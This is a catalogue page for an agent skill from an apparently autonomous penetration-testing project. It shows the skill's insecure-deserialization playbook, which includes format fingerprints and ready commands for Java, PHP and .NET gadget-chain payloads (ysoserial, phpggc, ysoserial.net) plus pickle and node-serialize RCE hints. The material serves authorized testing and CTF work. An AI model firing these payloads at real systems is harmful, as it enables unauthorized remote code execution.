PentestCode is a terminal-based autonomous penetration-testing system in which multiple agents run security tools, interpret results, track engagement state, and choose subsequent attack steps. It is for authorized security assessments and capture-the-flag work that require coordinated scanning, enumeration, exploitation, and evidence tracking. The catalogue skills and instructions support the project's agent-led penetration-testing workflow.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add s0ld13rr/pentestcode --skill deserializationgit clone --depth 1 https://github.com/s0ld13rr/pentestcodeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/s0ld13rr/pentestcode/deserialization)<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/deserialization"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/deserialization/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/deserialization"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/deserialization.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector pass
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00098 | $0.01471 |
| Opus 5.5 | $0.00039 | $0.00588 |
| Sonnet 5.5 | $0.00020 | $0.00294 |
| Haiku 4.5 | $0.00010 | $0.00147 |
Grade A, and why
web-deserialization scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
# Python — pickle __reduce__ → os.system('id') ; Node — node-serialize _$$ND_FUNC$$_ IIFE How it starts
The opening of the file, as written. The whole thing — 62 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Insecure Deserialization → RCE
When this fires
Attacker-controlled data is deserialized: cookies/tokens/hidden fields that decode to a serialized object, __VIEWSTATE, RMI/HTTP-invoker/message-queue bodies, or a known deser-CVE stack (see web-framework-rce for the CVE map).
Decide — fingerprint the format FIRST
- base64
rO0AB...or raw hexAC ED 00 05→ Java (ObjectInputStream). O:8:"ClassName":...→ PHP (unserialize()).__VIEWSTATE/AAEAAAD...→ .NET (BinaryFormatter/LosFormatter).- python pickle opcodes (
\x80\x04,c__builtin__) → Python. {"rce":"_$$ND_FUNC$$_..."}→ Node (node-serialize).
Exploit → PROVE IMPACT (gadget chains)
# Java — ysoserial (pick a gadget matching the classpath: CommonsCollections1-7, URLDNS to test reachability first):
java -jar ysoserial.jar CommonsCollections6 'id' | base64 -w0 # place in the sink
# iterate gadgets: URLDNS/JRMPClient to confirm deser happens, then CC/Spring/Hibernate for RCE
# PHP — phpggc (find the framework's gadget: Laravel/Symfony/Monolog/Guzzle):
phpggc Monolog/RCE1 system id
# .NET — ysoserial.net -g TypeConfuseDelegate -f BinaryFormatter -c "cmd /c ..."
# Python — pickle __reduce__ → os.system('id') ; Node — node-serialize _$$ND_FUNC$$_ IIFE
Proof required: id/uname (RCE). If the classpath is unknown, confirm deserialization first with a benign OOB gadget (Java URLDNS → your listener), then find the working RCE gadget; log each attempted gadget via record_vector attempt: so you don't re-try dead chains.
Tooling
ysoserial (Java), phpggc (PHP), ysoserial.net (.NET), gadgetinspector for custom classpaths; nuclei -tags deserialization.
False positives / pitfalls
- Signed/encrypted blobs (HMAC'd cookies, encrypted VIEWSTATE) → you need the key first (leaked/weak/default) — see web-auth-bypass-idor for key recovery; don't brute blindly.
- Gadget must match the LIBRARIES on the classpath — a failed CC1 doesn't mean not-vulnerable; iterate the gadget set.
- Length/type validation before deser → may need to satisfy a wrapper.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago Changed · +24 lines 7252cac2eabc
- 3mo ago First seen · 38 lines · 98 tokens per session scan A b6bf5f825c0e
web-deserialization is a skill published in the GitHub repository s0ld13rr/pentestcode (1,287 stars, last pushed yesterday), licensed MIT. It adds 98 tokens to every session and 1,471 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it A with 1 finding (runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
web-deserialization compared with skills from other repositories
| Mod | Type | Stars | Last push | Licence | Scan | Tokens | Works with |
|---|---|---|---|---|---|---|---|
| web-deserializations0ld13rr/pentestcode | Skill | 1.3k | yesterday | MIT | A | 98 | Claude Code, Codex |
| hunt-api-misconfigelementalsouls/Claude-BugHunter | Skill | 28k | 4d ago | MIT | A | 207 | Claude Code |
| stripe-projectse2b-dev/E2B | Skill | 15k | today | Apache-2.0 | A | 51 | Claude Code, Codex |
| discord-app-setupvellum-ai/vellum-assistant | Skill | 1.5k | yesterday | MIT | A | 23 | Claude Code, Codex |
| vellum-oauth-integrationsvellum-ai/vellum-assistant | Skill | 1.5k | yesterday | MIT | A | 25 | Claude Code, Codex |
| api-mappingvellum-ai/vellum-assistant | Skill | 1.5k | yesterday | MIT | A | 12 | Claude Code, Codex |
| rust-gatewayBerriAI/litellm | Skill | 64k | today | none | A | 70 | Claude Code, Codex |